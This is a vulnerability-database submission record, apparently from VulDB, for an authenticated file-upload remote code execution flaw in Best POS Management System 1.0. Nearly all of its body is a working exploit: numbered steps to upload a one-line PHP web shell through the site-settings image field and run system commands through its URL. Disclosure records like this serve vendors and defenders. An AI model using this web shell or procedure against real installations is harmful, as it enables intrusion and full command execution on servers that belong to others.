| 标题 | Authenticated Remote Code Execution on File Upload on Best POS Management System version 1.0 |
|---|
| 描述 | # Exploit Title: Authenticated Remote Code Execution on File Upload
# Google Dork: NA
# Date: 17/2/2023
# Exploit Author: Ahmed Ismail (@MrOz1l)
# Vendor Homepage:
https://www.sourcecodester.com/php/16127/best-pos-management-system-php.html
# Software Link:
https://www.sourcecodester.com/sites/default/files/download/mayuri_k/kruxton.zip
# Version: 1.0
# Tested on: Windows 11
# CVE : NA
### Steps to Reproduce
1- Login as Admin Rule
2- Head to " http://localhost/kruxton/index.php?page=site_settings"
3- Try to Upload an image here it will be a shell.php
```
shell.php
``````
<?php system($_GET['cmd']); ?>
4- Head to http://localhost/kruxton/assets/uploads/
5- Access your uploaded Shell
http://localhost/kruxton/assets/uploads/1676627880_shell.png.php?cmd=whoami |
|---|
| 来源 | ⚠️ https://www.sourcecodester.com/php/16127/best-pos-management-system-php.html |
|---|
| 用户 | mroz1l (UID 41497) |
|---|
| 提交 | 2023-02-21 12時02分 (4 年前) |
|---|
| 管理 | 2023-02-21 20時59分 (9 hours later) |
|---|
| 状态 | 已接受 |
|---|
| VulDB条目 | 221591 [SourceCodester Best POS Management System 1.0 Image index.php?page=site_settings save_settings img 权限提升] |
|---|
| 积分 | 20 |
|---|